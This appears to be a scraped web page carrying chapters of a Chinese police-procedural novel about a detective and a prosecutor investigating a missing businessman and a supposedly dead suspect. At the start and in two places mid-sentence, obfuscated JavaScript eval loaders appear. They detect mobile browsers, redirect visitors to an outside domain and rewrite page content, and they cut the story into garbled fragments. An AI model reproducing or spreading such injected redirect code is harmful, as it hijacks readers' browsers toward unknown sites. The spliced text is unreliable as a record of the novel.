0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057746|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖恩无话应对,方彗忙出来接话打圆场:“确实,从您的角度看案子,跟从我们的角度比起来,肯定有不同的地方。能有机会借鉴您的经验,对我们也是一种提升嘛。” 晚高峰拥堵的车流一路蜿蜒,警车走走停停总也开不快,后排的两个年轻人连轴转了多天,顶不住倦意,在车上打起了盹。路从辜从后视镜瞥了他俩一眼,轻声对应泊说: “开了一天庭,你要不也休息一会儿,到了我叫醒你。” 应泊摇摇头:“我没事,不用担心。” “刚才的话你别介意,他本身没有恶意,也不是针对你。”路从辜还记挂着刚才的事,应泊哑然失笑,说:“我都知道——何况他也是为你考虑。” 他沉吟片刻,温声道:“而且,他说得有道理。后面不管发生什么情况,我都听从你的安排。” “跟我讲讲钱文焘这个人吧,待会儿该怎么跟他的家人交涉?” 临近平舒城区,应泊看着窗外逐渐亮起的斑驳的灯火,不知想起了什么,沉默了一会儿,才开口说: “他这个人……市侩气很重,结下的仇家不少,但背靠公家的人脉,一般也没有人敢动他。这次的事如果真的与他有关,想必他也已经第一时间打过招呼,至于杀人这么大的事有没有人愿意帮他压,就得另说了。” “公家的人脉?” “嗯,你应该已经想到是谁了。” 路从辜的神情变得微妙:“我好像明白为什么林勇超要把这个案子交给我了。” 后排的两个人是被对面来车的远光灯晃醒的。肖恩睁开眼睛吧唧吧唧嘴,往车窗外看了看,嘴里嘟囔着: “我上天堂了?” 应泊回过头:“醒了?我们快到了。” 进入区城时天已经彻底黑了下来,车辆行进在一条崎岖不平的窄道上,因为这里四处都在修路,只好跟着导航绕行。道路两侧是灰暗破败的老旧平房,中间夹着一两家小饭馆和成人用品店。隔上很远才能看到一盏路灯,方圆几里内,除了警车发动机的轰鸣与冬夜凛凛的寒风,再听不到半点声响。 肖恩还是没睡醒,迷迷糊糊地把头靠在车窗上:“现在也不算晚,他们好像已经休息了。” 方彗问:“应检,你说你在这里待过几年,觉得怎么样?” “我们现在在东城,东城发展得一般,西城发展得还可以。物价和房价比市里都低很多,工资也相对低一些,但是各种公共设施都不齐全,生活上多少不太方便。”应泊答道,“印象最深刻的是传销太厉害了。办的案子十个里有八个都是传销,我为了办案还在传销群里卧底过,睡觉做梦都是听传销组织讲课,头疼。” “还剩两个呢?” “那两个是帮信和组织卖/淫。不过这两年传销打击得差不多,基层院里大概是帮信更泛滥了。” 车一路颠簸着驶出了这一路段,突然明亮起来的周遭让路从辜都忍不住轻出了一口气。应泊像个导游,事无巨细地指示着一路上的建筑:“这是这里最大的商场,那是我当时住的地方。看到那个广场了吗?后面的两排大楼就是法院和检察院。” 不得不说,气氛热闹一点,人的心情也会跟着好起来——路从辜发觉自己已经没有那么烦躁了。 平稳到达大队门口,门卫向单位请示后开门放行。大队长兼任区公安局副局长的林勇超已经等候在里面,见路从辜下车便满脸堆笑着上前来: “吃了嘛,路队?先进去坐坐。” 路从辜并不理会他无端的谄媚,单刀直入发问:“还没联系上钱文焘?” 林勇超还没来得及开口解释,就看见副驾驶上又下来一个人,穿着跟他们都不一样的制服。 “这是……应、应……”他一时没捋明白要用什么称呼,“你、您现在……” “市检察院提前介入本案,我代表市检参与侦查工作。”应泊到两人旁边站定,“林队长对此没有异议吧?” 7. 突击 “这位是市检察院二部主任,应泊。”路从辜代为做了介绍,“你没有异议吧?” “没有,没有,感谢上面的重视。”林勇超很识相。 肖恩和方彗找了个墙根,蹲着围观三人交涉。 “喝水吗?”肖恩拧开瓶盖,送到她嘴边。 “我不渴——你哪来的水?” “头儿让我拿两瓶备着的,在车上睡着了没来得及分。”肖恩自己喝了一口,茫然地目视前方,“原来这哥们儿严肃起来是这样的,我以为他就只有那副温温柔柔的样子。” “我觉得他人还蛮好的,在办公室一直不让我给他倒水非要自己来,上车的时候还帮我关车门,也不摆架子。”方彗不解地看着肖恩,“你刚才真不该说那些话,头儿都有点下不来台,得亏是人家愿意给咱们留面子。你是想起来啥了?你出门前吃枪药了?” “我不以为他也跟之前那群人一个德行,嫌咱们大老粗,还拿咱们当狗使唤么。头儿又不爱跟他们掰扯,那有话我不就得说么?一听检察院来人我心里就犯怵,让我过去我也犯怵。” “你来得晚不知道,有一次,也是他们单位的人提前介入,是个地中海发型的老爷子,头顶秃得一根毛都没有。我跟头儿去检察院找他。有事情就好好谈,他愣是数落了我们两个一下午,越说越难听,话里话外的意思就是嫌我们不行,没他们有文化,办案经验又不足。我们俩五大三粗的小伙子,跟小孩一样坐着被他训,那天回单位之后,一直到下班,头儿都没说过一句话,太憋屈了。” “不是,怎么这样啊。”方彗沉默着听完他的话,良久才愤愤说。 肖恩站起来活动身体,一脚踢开地上的石子:“我也想不明白。只能说不能以偏概全,我之前又没跟他打过交道,他又没给我关过车门,后面再找机会跟他套近乎就是了。” 没过一会儿,应泊呼唤两人的声音响起:“走了,进去暖和暖和。” 路从辜听了应泊的建议,决定先从钱文焘平日里接触最多的两个人,他的妻子杨红珍和以及他建筑公司的总经理李鹏入手。电话里,杨红珍虽然哭哭啼啼的,但态度十分配合,答应稍后安置好孩子就去大队接受询问。林勇超在应泊和路从辜面前给李鹏打了好几个电话,都是无人接听,急得声音都在打颤。 “别打了,队里现在有多少人叫上多少人。从现在起,他们由我全权领导。”路从辜再次准备动身,“也包括你,林勇超。” 多辆警车在主干道上疾驰而过,这场景在这个小城区里可并不常见。林勇超紧紧缀在路从辜他们车屁股后面,心里一面猜测此行的目的地,一面暗暗打鼓,不知道自己被告了多少状——反正从路从辜比以往更难看的脸色表明,应泊那小子肯定是没说好听话。 车队在一家夜总会门口停住,肖恩刚打开车门,一眼望见面前富丽堂皇的店面,惊得一屁股坐回车里:“别吧应检,我们都是公正廉洁的人民公仆……” “嗯,考验大家廉洁性的时候到了。”应泊笑吟吟地。 夜总会里,大堂经理正高声训斥着服务员,声音震得顶上的水晶灯都摇晃起来。服务员忍耐不住,红着眼睛小声反驳说: “我本来把果盘送进去就打算出来的,可是他们非不让我走,还伸手摸我……” “他们要摸你就给摸摸怎么了?能掉块肉吗?都来这种地方上班了还装清纯给谁看呢,给脸不要脸,呸!” 服务员虽然垂着头,眼神却不受控制地往门口瞟。经理循着方向看去,一众身着制服的警察气势汹汹地走进店里,领头的青年冷着一张脸,看上去来者不善。 “望海市公安局刑侦支队。”路从辜来到大堂,亮出证件,“有群众举报这里存在违法犯罪行为,请配合调查。” 自然不存在什么群众举报,除非应泊通过曾经的工作经验给出的推测可以算是群众举报。 经理并没有被随随便便唬住。他倒退几步贴住前台,手伸向桌面的对讲机,表面还试图斡旋拖延时间:“哪里违法了?你们要讲证据,我们做的可是正经生意!” “这不就有了吗?”应泊直接把对讲机拿在手里,把服务员护在身后,面向经理,“我见过你,你是不是因为介绍卖/淫被处理过?” 虽然应泊提前叮嘱过要做好心理准备,但带队把面前的夜总会整座搜了个底朝天之后,看着浩浩荡荡的违法犯罪人员被民警控制着,大厅左右各一队,马路牙子上还一队,全都抱头蹲在地上,有衣衫不整的,有神智不清的,还有躲在民警视角盲区偷着抽烟的,眼皮直跳的路从辜还是觉得这景象有点过于触目惊心了。 “嗬——啐!” 一位民警正在清点人数,蹲在角落里的一个黄毛趁他不注意,把嗓子里的老痰直接吐到了他脸上。民警下意识地用手抹下,看清是什么之后恶心得嘴角都抽搐起来,抬手想吓唬吓唬黄毛,黄毛却早有预料一样地高声大喊: “警察打人啦!警察打人啦!” 不时有好奇的民众驻足在附近向内张望,但都被民警迅速驱散开去。应泊站在路从辜身边,抬手指向夜总会不远处的一家装潢还算华丽的酒店:“如果现在冲进去挨个房间搜查,大部分都是这里输送过去的卖/淫/嫖/娼和吸毒人员,周边的酒店都一样,基本形成了一个产业集群。” “这也是钱文焘的产业之一吗?” “算是他和李鹏共同的吧。两个人都一样狡猾,他们一般不会亲自参与到这些事情里,只保持睁一只眼闭一只眼的放任态度,很难从主客观上去认定,很多时候即便查到他们头上,也拿不出证据给他们定罪。上次我是从‘容留他人吸毒罪’入手起诉,再加上他俩认罪态度好,最后也只定了个不痛不痒的缓刑。” 路从辜感觉眼皮跳得更厉害了。 肖恩跟每一组办案民警核实过情况后,与路从辜汇合:“头儿,都在这里了,全是黄赌毒老三样。李鹏还没醒酒,林勇超在跟他沟通,方彗也在。” “通知治安和禁毒,归他们管的全都带走,剩下的刑警队带走,收队。” 他们是在楼上的一个包厢里发现李鹏的。刚一打开房门,刺鼻的酒气裹挟着臭味扑面而来。林勇超从队伍后面挤上前,刻意挡在路从辜面前,想要搂紧最后一块遮羞布,却被路从辜面无表情地推开。震耳欲聋的音乐声夹杂着屋内人的鬼哭狼嚎,中间那个挺着啤酒肚,怀里搂着两个陪酒女,瘫坐成一滩烂泥的男人看到有人到来,大喇喇地喊道: “哟,林大队长,今儿个带了这么多人过来?快坐!都当自己家客厅!” 应泊看热闹不嫌事大:“私交甚笃啊,林大队长。” 林勇超脸都绿了。 肖恩被派去和林勇超一起回到大队接待杨红珍。两位民警一边一个把李鹏架出来,扔上警车。应泊看到方彗控制不住的嫌恶表情,轻声对她说:“你去副驾驶,我到后排。 去医院强制醒酒的路上李鹏不时发出水牛般的嚎叫声,胃里被酒腌过的食物残渣的酸腐味道顺着他接连不断的酒嗝排了出来,车里还开着暖风,空气质量可想而知。路从辜从后视镜里看到应泊趴在车门上,止不住地想要干哕,默默地在驾驶位上帮他打开了车窗。 灌入的凉风不仅拯救了应泊翻江倒海的肠胃,也让李鹏清醒了些。他睁开迷离的醉眼,扫视一圈周围的环境,惊声吼道: “你们都是谁啊?要绑架啊?!” “望海市公安局刑侦支队,现要求你配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057747|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合调查。”路从辜单手把着方向盘,另一手拿出证件出示给后排。李鹏却根本不打算听他说了什么,满嘴的污言秽语把他后面的话全都堵了回去。 “李鹏,闹够了没有!” 应泊一声厉喝,车里陷入了一种诡异的寂静。方彗悄悄转头观察他的表情,又悄悄地转了回去。李鹏吓得猛缩了下脖子,紧盯着重归平静的应泊:“你、你……” 这个面容明显让他记起了一些不太好的回忆,他变得语无伦次起来:“不、不是……怎么又是你?” * “他看起来好像很怕你。” 路从辜回到医院,将一杯咖啡递给走廊座位上的应泊:“热的。” “他不是怕我,他是怕再被送进看守所。在外面能花天酒地,在里面挑剔点的可能连饭都吃不饱。”应泊耸肩,“方彗呢?” “我让她回车上小睡一会儿了。” “你们应该不会常年都是这样的工作强度吧?” “支队的话……很少。你也知道,一般的案子不会送到我们这里来,都在基层消化了。” “至于不一般的案子,基本一忙就是几个月。”他继续说,“我是前两年专项行动的时候调进支队的,有的案子到现在都没结清。” “看来都一样,我们也是基层更忙一点。” “之前没少跟林勇超结梁子吧?”路从辜换了个话题。 “检警协作多了,都难免嘛。他跟你说什么了?” “他什么都没说,我猜的。”路从辜很坦诚,“我不是他的直系领导,跟他打交道的次数不算多。我不喜欢他的为人和工作态度,你应该看得出来。” 应泊笑笑:“确实,我也不喜欢。” 两个人并肩坐在一起,安静的走廊里,连吞咽的声音都听得格外清晰。末了,还是路从辜率先开口: “为什么会入这一行?以你的学历和能力,应该会有待遇更好的选择吧,我看律师都挺光鲜亮丽的。” 应泊闻言挑眉:“你已经调查过我的底细了?” 路从辜感觉他好像是误会了什么:“你们单位的公众号和官网有你的信息和专访,不需要刻意调查,全市十佳公诉人。” “哦,哦,我给忘了。”应泊怔了一下,讪讪地笑笑,“那是去年拿的荣誉,不值一提的。” “我只能说……机缘巧合吧。不论是非诉律师还是诉讼律师,都需要争客户争案源,表面上的光鲜亮丽很多都是包装,背地里其实一样狼狈。我没什么野心,安安稳稳过日子就好。” 他冲路从辜眨眨眼:“而且,律师在法庭上容易被法官骂,公诉人就不会。” 路从辜似乎还想说什么,科室的门在这时开了,打断了他。护士搀着一瘸一拐的李鹏慢慢走出。 “你怎么了?我们可没打你,执法记录仪一直都开着。” “没有没有,屋里那张床有点高,我把腿坐麻了。” 两个人都没有上前搀着他走的打算,不约而同地放慢了脚步跟在他后面,看李鹏扶着后腰挪动身体一点点前行。等到拉开了一定距离,路从辜才问道: “为什么会这么说?” “有前科。”应泊凑到他耳边低声说,“污蔑民警录口供的时候打他,给人家气得差点辞职。” 或许是药物的作用,又或许是真的认识到了事情的严重性,再一次坐上警车的李鹏冷静了许多,再没听见他那凄惨的嚎叫声。然而一车人都眉头紧锁严阵以待的气氛明显让他感到不自在,臃肿的身躯在后座一直扭来扭去,终于他还是忍不住问道: “应警官,我这是又犯嘛事儿了?” “我告诉过你很多次了。”应泊很无奈,“我是检察官。” 8. 假死 出外勤的意外收获让这次询问的性质不再简单。被押进讯问室的李鹏自然熟悉这地方,看看屋外交头接耳不知在商量什么的应泊和路从辜,又看看面前留下来协助完成笔录的方彗,忐忑地问道: “这位姐姐,你们到底打算问我点嘛事儿啊,您了好歹透露点内情?” “等着。”她没好气地回答,“电脑还没打开。” “我、我紧张啊。” “有什么好紧张的,还没把你铐起来呢。”方彗调出笔录模板,警告李鹏别乱动,起身呼唤屋外的两人,“路队,应检,都准备好了。” 路从辜向应泊微微颔首: “如果察觉到哪里不对,随时打断我。” 两人终止交谈,对了个眼神。回到屋内,路从辜率先开口: “我们是市局刑侦支队的民警,工作证件已经给你看过了。现依法对你进行询问,你要如实回答。这位是市检察院的检察干警,询问过程中我们的任何不当行为你都可以要求他进行监督;与案件无关的问题,你有拒绝回答的权利,听清楚了吗?” “听、听清楚了。” 应泊接上他的话:“按理来说,只是询问,不应该让你坐在这儿的。但你多次拒不配合调查,我们不得不当面通知你到案。过程中发现你存在涉嫌犯罪的行为,询问之后还要对你进行讯问,现在先不给你戴手铐,明白了吗?” 李鹏一脸烦躁,又不敢发作:“明白了。” “李鹏,还记得上一次在看守所,你怎么跟我说的吗?” “记得。我说出来以后一定好好做生意好好做人,再也不碰那些东西了。” “我有没有向法庭说明你认罪悔罪态度良好,建议从轻?” “有,有,这一点特别感谢应检,真的。” 应泊开场的两个问题都别有用意,李鹏虽然屡教不改,但脑袋不傻,知道他在故意点自己,直接说: “不管这次是什么事儿,您几位尽管问,我都知无不言言无不尽,老实配合调查。就是,我有一个请求,能不能把门打开,我长得胖,在这里憋得慌。” 应泊起身打开门,示意路从辜可以开始了。 “李鹏,昌义建筑有限公司总经理——钱文焘是你的老板吧?” “嗯,他是公司老板,我是替他管事的。” “你上一次和钱文焘联系是什么时候?” “上一次?”李鹏忽然一副绞尽脑汁的样子,路从辜抬眼问:“怎么,很难回答吗?” “不瞒你说,警官,我也好几天没看见他人了。”李鹏回答,“要不说酒色伤人么,我这记性是越来越差了。” 应泊提示说:“他老婆说是在9号以后联系不上他的,你可以参照着回忆一下。” “9号……应该差不离。我们商量着那两天要谈谈阜城那个项目的尾款,拖欠半年了。之前12月份去法院人家不给立案,让回去调解一下再来,我们就打算年前再去谈一次,能要一点是一点。结果钱文焘那边一直没动静,我就有点着急了。” “我看你也不是很着急。”方彗冷冷说道。 应泊点点头:“一般到了10月份就很难在法院立上案,年底都要清案子的,你们去晚了。” 路从辜关注到了不一样的重点:“阜城那个项目是你们的了?什么时候的事?” “对,去年年初刚竞标上。” “当时那么多人为了这个项目抢得头破血流。”路从辜有所感慨,但也只一句带过,“既然觉得不对劲,失踪这么多天为什么不报警?” “是,我是觉得不对劲,但这半年公司资金一直周转不过来,各方面都缺钱用,快过年了连工人的工资都发不出来,我就当他是想法子筹钱去了。况且,公司本来就困难,一报警股东都知道他人不见了,我们也不好向他们交代。” 路从辜接着问:“他失踪前有什么不寻常的表现吗?” “要说我感觉哪里不寻常,就是他常年停在公司地下车库的那辆SUV不见了。” “SUV?是尾号866那辆吗?” “对。车是他的,但一直是他秘书在开。他轻易也不敢把车开回家去,怕让他老婆发现车里有女人的痕迹。去年他给秘书换了辆新车,这辆车就一直丢在车库没碰过了。” 三个人还在消化突如其来的巨大信息量,一声尖锐的咆哮刺痛耳膜:“我老公不可能是这种人的!你们不要血口喷人!我警告你们不要血口喷人!” 是杨红珍愤怒的尖叫。不知道肖恩他们说了些什么,能让她这样暴跳如雷。路从辜思索了一会儿,起身走出讯问室,不一会儿带进来两个民警。 “这里现在交给你们,今天晚上发生在夜总会里的事务必彻查,清楚了吗?” “清楚了。” 路从辜拿上挂在椅背上的外套,招呼应泊和方彗离开: “走吧,我们去那边看看。” 还没走出几步,李鹏又喊住了他们: “我可以准备请律师了吗?” “当然,这是你的权利。”应泊回答,“待会儿他们一给你戴上手铐,你就可以请律师了。” 走在最前面的应泊刚刚打开接待室的门,一团湿漉漉的纸照着他脑门就砸了过来。他只觉得眉心一凉,再抬眼时,沙发上一个满脸泪痕的女人愕然地看着他。 应泊捡起脚边一地的纸团,扔进门口的垃圾桶:“……还怪准的。” “应检,应检也来了!”女人见了他,像是见了天大的救星,哭得更起劲儿了,上气不接下气地向他倒苦水,“应检,你是跟老钱这个人打过交道的嗝,你来说说,他那副德行像嗝,像是会杀人的吗嗝,你们警察查案子也要讲证据,你们不能嗝,上下嘴皮子一碰,说谁杀人谁就杀人啊……” “诶你这个人怎么——”肖恩气不过想跟她理论两句,却被应泊拦下:“消消气,去给她和路队接杯热水,你自己也喝点,听你嗓子都哑了。” 肖恩嘟嘟囔囔地走了。应泊打算找个位置坐下,林勇超立刻往沙发边沿挪了挪屁股。看见路从辜还抱臂站在一旁,他又站起来让出座位。 “你坐吧。”路从辜无动于衷。 “都哭到打嗝了……不是什么大事,就是找你了解了解情况,先平复一下心情。”应泊多抽了几张纸递给她,还不忘抽一张给自己擦擦额头。 “可是我们老钱他怎么可能……” “我们现在也在侦查中,一切只是猜测,还不能下定论。想要洗清他的嫌疑,就需要先把他这个人找出来,你明白吗?” 杨红珍抽噎着点点头。这时肖恩回来了,两只手各握着一杯水,中间还夹着一杯,两根小拇指倔强地接在杯底:“哦哟烫烫烫,接一下接一下。” 路从辜将水推到杨红珍面前:“大致的情况你已经了解了吧?” “了解。你们说的那个孔大庆,是我们老钱的司机,这我是知道的。至于那辆车,我就不太清楚了,毕竟老钱这个人生意做得大了,我只是个家庭主妇,在家也做不了主,很难完全掌握他都有些什么资产。” “你们最后一次联系都说了些什么?” “因为第二天我们家闺女要去外地比赛,说希望爸爸送她去机场,我9号那天上午就打电话给老钱跟他说了这个事,顺便给孩子打打气。他当时也答应了。到了第二天却怎么都联系不上他,电话一直关机 “他以前出现过这种情况吗,好几天不回家,也不跟家人联系?” “没有,从来没有。警察同志,我就这么跟你说,要论顾家,我们老钱排第二,望海市没有哪个能排第一,我就这么跟你说!” 听了这话,方彗看看路从辜,路从辜看看应泊,应泊不敢正视信誓旦旦的杨红珍,只能任由眼神四处游离。 “你对孔大庆这个人了解多少?” “他?他我可太了解了,他在这儿没有亲人,我以往都是把他当亲弟弟看的!早告诉他少跟那个叫蒋威的来往,也跟老钱说过,就是不听,这下好了,摊上人命了!” 杨红珍痛心地捶胸顿足。但这句话却像是触碰到了应泊的某处神经,他脸色一变,几乎要站起身来:“你说他跟谁来往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057748|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “蒋威。还是个半大小子的时候就因为杀人坐过牢,出来之后还不收敛。这两年在老钱手底下做事,每次看到他我都心惊肉跳的,去年好说歹说才让老钱把他打发走了。” 应泊谨慎地问:“能具体说说他杀人这件事吗?” “他说他当时受人指使,灭了一家人满门,因为没成年,还有人帮忙打点,没坐几年牢就出来了,后面的我就不清楚了。我们只是做点小生意,老钱是有点不光彩的小勾当,但杀人是绝对不敢碰的,这我敢打包票。” 路从辜留心观察着应泊的反应,却什么都没有问。杨红珍的一双泪眼在两人之间徘徊,终于还是忍不住带着哭腔乞求道:“应检,警察同志,虽然老钱现在是生是死都不知道,但你们一定要相信我,你们说的杀人案跟他半点关系都没有,你们得用事实说话,不要寒了老百姓的心啊!” “不至于,您这帽子扣得有点大了。”肖恩坐在沙发把手上,冷哼一声。应泊安抚她说:“钱文焘的行踪我们会持续关注,如果有新的情况会及时通知您的,这一点可以放心。” 说完,他看向一旁的路从辜,用眼神询问他还有没有其他问题,路从辜冲他摇摇头。 “那今天先到这里吧,麻烦您了。后续有需要您的地方,还请您多多配合我们工作。” 杨红珍抽抽嗒嗒地走了,临走前还眼疾手快地把接待室里的抽纸全都揣进了包里。虽然逃不过在场人的眼睛,但这点小事也没必要再跟她计较,一行人将她送出门口,全都如释重负地松弛下来。 “我们也该走了。今晚的案子都是在你这里立的案,我们也不方便再插手。”路从辜转向林勇超,“这就不需要我接管了吧?” “不需要,交给我们就好,您放心吧。” 应泊还不打算放过他:“还有,我会申请检委会向区检察院提出书面建议,定期监督你们的执法情况,你和你的同事都要时刻做好准备,不能搞运动式执法。” 如果单纯论迹不论心的话,林勇超迎来送往的礼节实在是很到位。可惜路从辜并不需要一位优秀的侍从,也不吃这一套,把车倒出来后一脚油门扬长而去,喂了林大队长一嘴的尾气。 “这下崴泥了。”林勇超望着警车渐行渐远的影子,喃喃自语。 车上的氛围倒是很轻松,应泊笑着问:“打算留下来吃点东西再走,还是回去再说?我请客。” “太好咯!”肖恩跟方彗歪倒在车座上,都已经累到虚脱,“这儿有什么好吃的吗?” “好吃的……如果是说那种特色美食,区政府附近有一家羊蝎子,不知道你们吃不吃得来。” 肖恩一下子来了精神:“羊蝎子到底是什么啊?我来望海这么多年都没见过。” “那就快谢谢应检带你长见识啊。”方彗戏谑说,“应检,你刚才吓唬李鹏那气势连我一个,呃,一个英勇无畏的人民警察都被吓到了。” 路从辜紧随其后:“我也是。” “是、是吗……”两个人都这么说,应泊有些不好意思。肖恩趁机打趣说:“虽然我没看到,但我要说,这是面对犯罪分子时的一身正气,都是道行。” “对,我赞同。” 应泊还没想好妥当的回答,却被路从辜抢了先。突然被点名夸奖,应泊脸上呈现出少有的茫然表情,他望着面上笑意清浅的路从辜,又看看后排闭上眼睛不知真睡还是假寐的两人,似乎是想明白了,最终放松地重新靠在座位上。 一直把车开到彻底远离大队周边,路从辜才开口: “钱文焘……要么是杀了人畏罪潜逃,要么是死了。还是要找到车,人和车都要找。” 应泊用沉默表示了赞同,路从辜问道:“蒋威这个人有什么奇怪的地方吗?” 应泊没有立即回答,而是思索了一会儿,斟酌着合适的语言表达接下来的内容: “他就是我锁定的,绍青村奸杀案的嫌疑人之一。并且,他的体貌特征和你们所说的死者很像。” “然而,根据我的调查,他已经死在五年前的一场车祸里了。” 9. 再返 把蒋威的档案以及获取的其他的资料从头到尾翻了一遍,路从辜抬头环顾了一圈办公室里所有的民警,民警们也面面相觑,一时间竟都说不出一句话来。 如果这个人还活着,他现在也该四十三岁了。十七岁时犯下一起入室抢劫致三人死亡的案子,因为具有未成年、自首和积极对被害人家属进行赔偿等应当或者可以从轻或减轻处罚的情节,蒋威仅被判处有期徒刑十四年,在朝阳监狱服刑,并且由于在狱中表现良好,争取到了多次减刑,刑满前两年便出狱了。眼下还在世的家属只有他的母亲。 但事实也确如应泊所说。材料显示,五年前益青区发生了一场交通事故,驾驶员当场身亡,这个驾驶员就是蒋威。 “杀了三个人,就判十四年,还减刑了?”肖恩愤愤不平。 “可能这就是应泊要追查的原因吧。”路从辜推测说,然后拿起案发时孔大庆的通话和聊天记录,“去年12月29号,从晚上六点到八点,孔大庆总共给这个号码打了五次电话,最长的一次半小时,最短的一次两分钟,还有这些聊天记录——确定他联系的是蒋威?” “是的。”民警虽然也在犹疑,但还是给了肯定回答,“可以确定,当晚两个人碰过面,有共同的出行计划,孔大庆驾驶钱文焘那辆尾号866的车前往赴约。至于此行到底去了哪,干了什么,我们就不知道了。” 肖恩吞了口唾沫:“见了鬼了。” 无关怪力乱神,都是人的问题罢了,路从辜始终这么认为。可他也想不明白官方盖章认定已经死去的人是怎么在众目睽睽之下多活了那么久,还和又一起命案扯上关系。 技侦对钱文焘的行迹也进行了追踪,并没有发现他在9号前后有乘坐任何公共交通出行的的情况,这几天他的身份证、银行账户都没有新的动向,连手机信号都定位不到。 “太短了,今天才14号。”路从辜还是不想放弃,“不能就这么断定他死了。” 结合目前掌握的所有线索,路从辜调整了一番先前的部署,决定兵分三路:一路人继续监控孔大庆和钱文焘两人是否出现新的踪迹,一路人排查嫌疑车辆的去向,自己则带人找到益青区交警大队以及蒋威的母亲了解情况,顺便提取其母亲的DNA与死者进行对比。 考虑到后续的侦查可能会有应泊需要的线索,也需要他提供更多的信息,路从辜拨通了电话,打算问问他的意见。 “现在有时间吗?” “现在……”应泊那边吵吵嚷嚷的,“现在没有,我尽快结束,你稍等一下,大概一个小时之后可以到。” “你这是在……” “我在望海一中,下午有一个普法活——小心!” 只听见他一声惊呼,而后就没了回音,只剩路从辜在电话这边摸不着头脑地看着手机。 “望海一中?怎么跑到那里去了。” 被困在家长堆里的应泊根本来不及向路从辜解释太多。他一个箭步冲出去,搀住面前趔趄着要跌倒的女孩,堪堪站稳的女孩向他连声道谢后便低着头走开了。夕阳的光照还是有些刺眼,应泊眯起眼睛向校门口张望,目光在人群里逡巡许久,终于对上了他的目标。 “夏卓尔!” 被喊到名字的女孩迅速回头,看到他的那一刻也兴奋地向他挥手: “哥!” 说话间应泊已经挤到她身边,替她卸下了肩上鼓囊囊的书包,又接过了她抱在怀里的书本和卷子。 “你不是说东西不多吗?” “已经很少了。”女孩一摊手,“大部分我都在期末之前就抱回家了。” “还逞强说要自己回家。我要是不来接你,你就得背着抱着这些东西一直等到有出租车路过。” 女孩嘿嘿憨笑:“我哪能想到学校还能请到我们应检察官莅临指导呢?” 再年轻有为的检察官也得抽空接孩子放假回家。夏卓尔半躺在副驾驶上,手里捧着应泊提前准备好的热奶茶,不得不由衷感叹:“还是有哥哥好,刚刚活动散场的时候我就知道你肯定会在外面等我。” “考得怎么样?” “相信我的水平啦。”夏卓尔冲自己竖起大拇指,“哥,你跟我妈说说情,这个寒假就别让我补课了,过完年就开学,补也补不出来什么效果的,让我歇歇吧。” 应泊为难地摇头:“这我可做不了主,我跟师父说要来接你她都嫌我太惯着你。” “欸欸欸,我跟你说多少遍了哥,这么多年了,你还是尽早改口比较好,就别叫‘师父’了,你俩又不止工作上有关系。直接叫‘咱妈’我看就行,老夏同志不会拒绝的。”夏卓尔分析得一板一眼。 应泊伸手刮刮她的鼻尖:“别,先不说年纪和辈分,要是在单位叫错称呼,就闹笑话了,影响不好。” “要不我为嘛不乐意去学法律,相对来说,你们这行的人都太死板了。” 应泊不置可否。夏卓尔仰着脸问他:“你待会儿不上楼休息休息?” “不休息了,帮你把东西搬上去我就走,后面有米面油和水果,还有我包好的饺子,你都一起拿回去。我还有任务,还要去抓杀人犯呢。”应泊故意拉长语调吓唬她。夏卓尔也相当配合,故作惊吓地后仰:“哦哟,那你可得小心点,一定要完整地回来跟我们过年!” 一路说说笑笑到了楼下,应泊分几次把东西搬上楼,把着门小声嘱咐: “我急着走,就不给你做饭了,你自己把饺子煮了——一定把门锁好,除了我和你妈,谁叫都不能开门。” “知道啦,又不是小孩子了。”夏卓尔吐着舌头做鬼脸,“对了哥,今天我们班好多人夸你帅来着,有什么感想吗?” “谢谢啊,我会再接再厉的,记得锁门。”应泊语气毫无波动,顺手关上门,听到房门被反锁的“咔哒”声才转身离开,一边走一边发送消息: “卓尔到家了,你也不要忙到太晚,回家路上注意安全。” 对面是卓尔的母亲,也是应泊事业上的引路人,曾经的市检二部主任夏怀瑾,如今在纪检监委任职。跟应泊和徐蔚然不一样,虽然夏怀瑾没亲自带过应泊哪怕一天,他还是会尊称她一声“师父”,侯万征知道后大惑不解地问: “她怎么就成你师父了?” “三人行必有我师,你也可以是我师父。”应泊又开始诡辩了。 只是,所有人都不知道的是,除了名义上的徒弟,应泊还是夏怀瑾的暗桩。他追查的一系列案件,起初大多是掌握在夏怀瑾手中的。在调去纪检监委之前,她放心不下,便将这些案件尽数托付给了应泊。 “你是不是被当枪使了?” 当他找到硕士时的同学陈嘉朗,把一切和盘托出,请求他帮忙为马维山找一个靠谱的律师时,陈嘉朗直言不讳地说。 应泊自己也清楚,但并不在乎,也心甘情愿。不提那些玄而又玄的公理正义,也不提那些从他还在读书时就被念叨烂了的法律职业伦理,哪怕只是为了报答她作为师长的知遇带挈之恩,他也愿意不计代价地替她扳回一局。 他同样明白从他接手的那一刻起,就有无数双眼睛无声凝视着他的一举一动,隐藏在迷雾中的大网随时都能出手把他摁死在某个谁也找不到的角落。 